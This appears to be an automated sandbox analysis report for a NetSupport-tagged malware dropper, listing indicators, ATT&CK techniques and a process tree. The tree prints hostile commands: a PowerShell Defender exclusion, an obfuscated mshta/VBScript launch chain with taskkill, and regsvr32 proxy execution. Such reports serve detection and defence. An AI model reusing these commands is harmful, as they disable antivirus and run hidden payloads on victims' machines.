netsupport | 8fe6c86b038ce91a991fe6eb8a9b323bb37b554ff6b4e5c18de3fe52d4aedf6d

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5881386.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5881386.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	msedge.exe

Loads dropped DLL 15 IoCs

pid	Process
3688	setup_install.exe
3688	setup_install.exe
3688	setup_install.exe
3688	setup_install.exe
3688	setup_install.exe
3688	setup_install.exe
3688	setup_install.exe
4752	Thu21b93295136197.tmp
4752	Thu21b93295136197.tmp
3280	Thu214aaca5625.tmp
6056	rundll32.exe
3252	setup_2.tmp
4272	msedge.exe
1172	stats.tmp
1172	stats.tmp

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral5/memory/5060-323-0x0000000000F70000-0x0000000000F71000-memory.dmp	themida
behavioral5/memory/2380-338-0x00000000001F0000-0x00000000001F1000-memory.dmp	themida

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	WerFault.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	tmpC3E2_tmp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	tmpC3E2_tmp.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 11 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
272	ipinfo.io
305	ipinfo.io
342	ipinfo.io
1	ip-api.com
1	ipinfo.io
23	ipinfo.io
64	ipinfo.io
252	ipinfo.io
282	ipinfo.io
305	ip-api.com
353	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5060	5881386.exe
2380	msedge.exe

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\Visit.url	Setup.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	msedge.exe
File created	C:\Program Files (x86)\FarLabUninstaller\is-MT28D.tmp	msedge.exe
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	msedge.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe	Setup.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 43 IoCs

pid	pid_target	Process	procid_target
5948	3544	WerFault.exe	98
5960	4920	WerFault.exe	99
5936	4620	WerFault.exe	104
5928	4700	WerFault.exe	105
5100	2160	WerFault.exe	137
424	3972	WerFault.exe	130
3692	2120	WerFault.exe	134
6132	1488	WerFault.exe	138
3556	3864	WerFault.exe	202
6664	6096	WerFault.exe	124
6756	2296	WerFault.exe	144
6800	2900	WerFault.exe	156
6628	1428	WerFault.exe	231
6704	4436	WerFault.exe	150
7088	2904	WerFault.exe	164
6660	5680	WerFault.exe	268
3408	5184	WerFault.exe	282
728	3280	WerFault.exe	298
5688	5512	WerFault.exe	316
4356	6352	WerFault.exe	322
7100	5524	WerFault.exe	344
2572	5192	WerFault.exe	377
4052	4200	WerFault.exe	382
2244	4200	WerFault.exe	382
3064	416	WerFault.exe	387
7016	5716	WerFault.exe	398
6984	5820	WerFault.exe	401
2804	6508	WerFault.exe	396
4848	7148	WerFault.exe	394
6832	5400	WerFault.exe	407
5312	4812	WerFault.exe	423
7096	6752	WerFault.exe	459
4168	6248	WerFault.exe	409
6960	3548	WerFault.exe	464
3668	1568	WerFault.exe	465
2292	6932	WerFault.exe	500
3704	6804	WerFault.exe	482
1656	2180	WerFault.exe	503
2352	6936	WerFault.exe	515
5608	2012	WerFault.exe	522
4100	7092	WerFault.exe	495
1156	5480	WerFault.exe	535
6880	4052	WerFault.exe	544

Checks processor information in registry 2 TTPs 49 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	OmtEUf87_ixAQUWZjXmlwDZf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	OmtEUf87_ixAQUWZjXmlwDZf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	OmtEUf87_ixAQUWZjXmlwDZf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	OmtEUf87_ixAQUWZjXmlwDZf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	OmtEUf87_ixAQUWZjXmlwDZf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	OmtEUf87_ixAQUWZjXmlwDZf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	OmtEUf87_ixAQUWZjXmlwDZf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	Process not Found

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1552	schtasks.exe
2428	schtasks.exe
6600	schtasks.exe
5540	schtasks.exe
3228	schtasks.exe

Enumerates system info in registry 2 TTPs 14 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	OmtEUf87_ixAQUWZjXmlwDZf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	OmtEUf87_ixAQUWZjXmlwDZf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Process not Found
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
5812	taskkill.exe
1096	taskkill.exe
5032	taskkill.exe
3500	taskkill.exe

Runs ping.exe 1 TTPs 5 IoCs

Remote System Discovery

T1018

pid	Process
584	PING.EXE
5416	PING.EXE
6616	PING.EXE
5456	PING.EXE
6772	PING.EXE

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	29	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	62	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
4256	powershell.exe
4256	powershell.exe
5948	WerFault.exe
5948	WerFault.exe
5936	WerFault.exe
5936	WerFault.exe
5928	Process not Found
5928	Process not Found
5960	WerFault.exe
5960	WerFault.exe
4256	Process not Found
5100	WerFault.exe
5100	WerFault.exe
424	OmtEUf87_ixAQUWZjXmlwDZf.exe
424	OmtEUf87_ixAQUWZjXmlwDZf.exe
3692	WerFault.exe
3692	WerFault.exe
4272	msedge.exe
4272	msedge.exe
4700	Setup.exe
4700	Setup.exe
4700	Setup.exe
4700	Setup.exe
1164	Chrome 5.exe
1164	Chrome 5.exe

Suspicious use of AdjustPrivilegeToken 52 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeAssignPrimaryTokenPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeLockMemoryPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeIncreaseQuotaPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeMachineAccountPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeTcbPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeSecurityPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeTakeOwnershipPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeLoadDriverPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeSystemProfilePrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeSystemtimePrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeProfSingleProcessPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeIncBasePriorityPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeCreatePagefilePrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeCreatePermanentPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeBackupPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeRestorePrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeShutdownPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeDebugPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeAuditPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeSystemEnvironmentPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeChangeNotifyPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeRemoteShutdownPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeUndockPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeSyncAgentPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeEnableDelegationPrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeManageVolumePrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeImpersonatePrivilege	5004	Thu21a1ef054cac78a.exe
Token: SeCreateGlobalPrivilege	5004	Thu21a1ef054cac78a.exe
Token: 31	5004	Thu21a1ef054cac78a.exe
Token: 32	5004	Thu21a1ef054cac78a.exe
Token: 33	5004	Thu21a1ef054cac78a.exe
Token: 34	5004	Thu21a1ef054cac78a.exe
Token: 35	5004	Thu21a1ef054cac78a.exe
Token: SeDebugPrivilege	3908	Thu21568b0ab8.exe
Token: SeDebugPrivilege	4256	powershell.exe
Token: SeRestorePrivilege	5960	WerFault.exe
Token: SeBackupPrivilege	5960	WerFault.exe
Token: SeBackupPrivilege	5960	WerFault.exe
Token: SeDebugPrivilege	6096	135404.exe
Token: SeDebugPrivilege	2120	2.exe
Token: SeDebugPrivilege	1476	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	2176	DVORAK.exe
Token: SeDebugPrivilege	4648	Thu2156de5489c19.exe
Token: SeDebugPrivilege	2296	UltraMediaBurner.exe
Token: SeDebugPrivilege	496	BearVpn 3.exe
Token: SeDebugPrivilege	4436	3233228.exe
Token: SeDebugPrivilege	4700	Setup.exe
Token: SeDebugPrivilege	4056	postback.exe
Token: SeDebugPrivilege	1164	Chrome 5.exe
Token: SeDebugPrivilege	5812	taskkill.exe
Token: SeDebugPrivilege	2904	5486191.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4752	Thu21b93295136197.tmp
4272	msedge.exe
1172	stats.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4144 wrote to memory of 4168	4144	setup_x86_x64_install.exe	77
PID 4144 wrote to memory of 4168	4144	setup_x86_x64_install.exe	77
PID 4144 wrote to memory of 4168	4144	setup_x86_x64_install.exe	77
PID 4168 wrote to memory of 3688	4168	setup_installer.exe	78
PID 4168 wrote to memory of 3688	4168	setup_installer.exe	78
PID 4168 wrote to memory of 3688	4168	setup_installer.exe	78
PID 3688 wrote to memory of 4380	3688	setup_install.exe	82
PID 3688 wrote to memory of 4380	3688	setup_install.exe	82
PID 3688 wrote to memory of 4380	3688	setup_install.exe	82
PID 3688 wrote to memory of 4772	3688	setup_install.exe	83
PID 3688 wrote to memory of 4772	3688	setup_install.exe	83
PID 3688 wrote to memory of 4772	3688	setup_install.exe	83
PID 3688 wrote to memory of 3780	3688	setup_install.exe	84
PID 3688 wrote to memory of 3780	3688	setup_install.exe	84
PID 3688 wrote to memory of 3780	3688	setup_install.exe	84
PID 3688 wrote to memory of 4872	3688	setup_install.exe	85
PID 3688 wrote to memory of 4872	3688	setup_install.exe	85
PID 3688 wrote to memory of 4872	3688	setup_install.exe	85
PID 3688 wrote to memory of 3216	3688	setup_install.exe	86
PID 3688 wrote to memory of 3216	3688	setup_install.exe	86
PID 3688 wrote to memory of 3216	3688	setup_install.exe	86
PID 3688 wrote to memory of 904	3688	setup_install.exe	88
PID 3688 wrote to memory of 904	3688	setup_install.exe	88
PID 3688 wrote to memory of 904	3688	setup_install.exe	88
PID 3688 wrote to memory of 468	3688	setup_install.exe	87
PID 3688 wrote to memory of 468	3688	setup_install.exe	87
PID 3688 wrote to memory of 468	3688	setup_install.exe	87
PID 3688 wrote to memory of 3256	3688	setup_install.exe	89
PID 3688 wrote to memory of 3256	3688	setup_install.exe	89
PID 3688 wrote to memory of 3256	3688	setup_install.exe	89
PID 3688 wrote to memory of 1188	3688	setup_install.exe	90
PID 3688 wrote to memory of 1188	3688	setup_install.exe	90
PID 3688 wrote to memory of 1188	3688	setup_install.exe	90
PID 3688 wrote to memory of 4272	3688	setup_install.exe	91
PID 3688 wrote to memory of 4272	3688	setup_install.exe	91
PID 3688 wrote to memory of 4272	3688	setup_install.exe	91
PID 3688 wrote to memory of 3568	3688	setup_install.exe	92
PID 3688 wrote to memory of 3568	3688	setup_install.exe	92
PID 3688 wrote to memory of 3568	3688	setup_install.exe	92
PID 3688 wrote to memory of 4548	3688	setup_install.exe	96
PID 3688 wrote to memory of 4548	3688	setup_install.exe	96
PID 3688 wrote to memory of 4548	3688	setup_install.exe	96
PID 4872 wrote to memory of 5004	4872	cmd.exe	93
PID 4872 wrote to memory of 5004	4872	cmd.exe	93
PID 4872 wrote to memory of 5004	4872	cmd.exe	93
PID 4772 wrote to memory of 4996	4772	cmd.exe	95
PID 4772 wrote to memory of 4996	4772	cmd.exe	95
PID 3688 wrote to memory of 4544	3688	setup_install.exe	94
PID 3688 wrote to memory of 4544	3688	setup_install.exe	94
PID 3688 wrote to memory of 4544	3688	setup_install.exe	94
PID 4380 wrote to memory of 4256	4380	cmd.exe	97
PID 4380 wrote to memory of 4256	4380	cmd.exe	97
PID 4380 wrote to memory of 4256	4380	cmd.exe	97
PID 3780 wrote to memory of 4920	3780	cmd.exe	99
PID 3780 wrote to memory of 4920	3780	cmd.exe	99
PID 3780 wrote to memory of 4920	3780	cmd.exe	99
PID 3216 wrote to memory of 3544	3216	cmd.exe	98
PID 3216 wrote to memory of 3544	3216	cmd.exe	98
PID 3216 wrote to memory of 3544	3216	cmd.exe	98
PID 4548 wrote to memory of 3908	4548	cmd.exe	100
PID 4548 wrote to memory of 3908	4548	cmd.exe	100
PID 4272 wrote to memory of 4620	4272	cmd.exe	104
PID 4272 wrote to memory of 4620	4272	cmd.exe	104
PID 4272 wrote to memory of 4620	4272	cmd.exe	104

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4144
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4168
- - C:\Users\Admin\AppData\Local\Temp\7zS840945A3\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS840945A3\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:3688
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4380
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4256
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu219d5fe8cf316.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4772
    - - C:\Users\Admin\AppData\Local\Temp\7zS840945A3\Thu219d5fe8cf316.exe
        
        Thu219d5fe8cf316.exe
        5⤵
        Executes dropped EXE
        
        PID:4996
      - C:\ProgramData\135404.exe
        
        "C:\ProgramData\135404.exe"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6096
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 6096 -s 2320
        7⤵
        Program crash
        
        PID:6664
      - C:\ProgramData\3115186.exe
        
        "C:\ProgramData\3115186.exe"
        6⤵
        
        PID:6132
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        Executes dropped EXE
        
        PID:2468
      - C:\ProgramData\5881386.exe
        
        "C:\ProgramData\5881386.exe"
        6⤵
        Checks BIOS information in registry
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5060
      - C:\ProgramData\2222903.exe
        
        "C:\ProgramData\2222903.exe"
        6⤵
        
        PID:3972
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3972 -s 316
        7⤵
        Program crash
        
        PID:424
      - C:\ProgramData\8492779.exe
        
        "C:\ProgramData\8492779.exe"
        6⤵
        
        PID:2380
      - C:\ProgramData\2824794.exe
        
        "C:\ProgramData\2824794.exe"
        6⤵
        
        PID:2008
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\ProgramData\2824794.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\ProgramData\2824794.exe"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )
        7⤵
        
        PID:3416
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c TypE "C:\ProgramData\2824794.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\ProgramData\2824794.exe" ) do taskkill /Im "%~NxB" /F
        8⤵
        
        PID:2496
        
        C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE
        
        GZ9~4QZ~O.EXe -P6_oIH__Ioj5q
        9⤵
        Executes dropped EXE
        
        PID:5708
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if ""-P6_oIH__Ioj5q "" =="""" for %B iN ( ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )
        10⤵
        
        PID:6036
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "-P6_oIH__Ioj5q " =="" for %B iN ( "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE" ) do taskkill /Im "%~NxB" /F
        11⤵
        
        PID:5200
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" T~DJNB.F -u /S
        10⤵
        
        PID:6408
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /Im "2824794.exe" /F
        9⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5812
      - C:\ProgramData\3233228.exe
        
        "C:\ProgramData\3233228.exe"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4436
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4436 -s 2284
        7⤵
        Program crash
        
        PID:6704
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21624565bb917a.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3780
    - - C:\Users\Admin\AppData\Local\Temp\7zS840945A3\Thu21624565bb917a.exe
        
        Thu21624565bb917a.exe
        5⤵
        Executes dropped EXE
        
        PID:4920
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4920 -s 312
        6⤵
        Drops file in Windows directory
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5960
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21a1ef054cac78a.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4872
    - - C:\Users\Admin\AppData\Local\Temp\7zS840945A3\Thu21a1ef054cac78a.exe
        
        Thu21a1ef054cac78a.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5004
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu2164f292a11ce.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3216
    - - C:\Users\Admin\AppData\Local\Temp\7zS840945A3\Thu2164f292a11ce.exe
        
        Thu2164f292a11ce.exe
        5⤵
        Executes dropped EXE
        
        PID:3544
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3544 -s 304
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:5948
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21b9847cb6727.exe
      4⤵
      PID:468
    - - C:\Users\Admin\AppData\Local\Temp\7zS840945A3\Thu21b9847cb6727.exe
        
        Thu21b9847cb6727.exe
        5⤵
        Executes dropped EXE
        
        PID:5020
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21b93295136197.exe
      4⤵
      PID:904
